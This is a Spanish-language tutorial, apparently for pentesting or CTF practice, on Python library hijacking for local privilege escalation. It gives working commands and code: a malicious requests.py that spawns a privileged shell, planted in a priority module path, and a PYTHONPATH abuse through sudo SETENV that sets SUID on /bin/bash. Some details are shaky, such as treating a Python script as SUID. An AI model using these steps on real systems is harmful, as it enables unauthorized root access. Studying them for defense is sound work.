Python Library Hijacking

El Python Library Hijacking es una vulnerabilidad de seguridad que permite a un atacante ejecutar código arbitrario manipulando el entorno de Python para cargar una biblioteca maliciosa en lugar de la legítima. Esto puede llevar a:

  • Escalada de privilegios (si el script se ejecuta como root).
  • Ejecución remota de comandos (RCE) en aplicaciones críticas.

¿Cómo funciona?

1.Carga Dinámica de Módulos

Python busca los módulos importados en este orden:

  • Directorio del script actual.
  • Directorios en PYTHONPATH (variable de entorno).
  • Bibliotecas estándar (/usr/lib/pythonX.X).
  • site-packages (paquetes instalados con pip).

2.Explotación por Prioridad de Rutas

Si un script con SUID (ejecución como root) importa un módulo y:

  • Tenemos permisos de escritura en una ruta prioritaria (ej: /usr/lib/python3.11).

  • Creamos un archivo malicioso con el mismo nombre que el módulo legítimo (ej: requests.py). Python cargará nuestro código malicioso en lugar del módulo original.

Caso 1: Módulo con Permisos de Escritura

1.Identificar un script Python con SUID:

ls -l /usr/bin/script.py
-rwsr-xr-x 1 root root 1000 Jan 10 11:00 /usr/bin/script.py

2.Verificar qué módulos importa:

cat /usr/bin/script.py
import requests  # Módulo objetivo

3.Ubicar la ruta legítima del módulo:

pip3 show requests
Location: /usr/local/lib/python3.11/dist-packages

4.Explotación si tenemos escritura en /usr/lib/python3.11:

  • Crear un archivo malicioso requests.py:
import os
os.setuid(0)  # Obtener root
os.system("/bin/bash -p")  # Spawnear shell privilegiada

Guardarlo en una ruta prioritaria

cp requests.py /usr/lib/python3.11/

# Al ejecutar el script:

/usr/bin/script.py  # ¡Shell como root!

Caso 2: Abuso de PYTHONPATH (si sudo permite SETENV)

1.Verificar permisos sudo:

sudo -l
(ALL : ALL) SETENV: NOPASSWD: /usr/bin/python

2.Crear un módulo malicioso en /tmp:

# /tmp/privesc.py
import os
os.system("chmod u+s /bin/bash")

3.Ejecutar el script objetivo con PYTHONPATH manipulado:

sudo PYTHONPATH=/tmp/ /usr/bin/python /home/elliot/script.py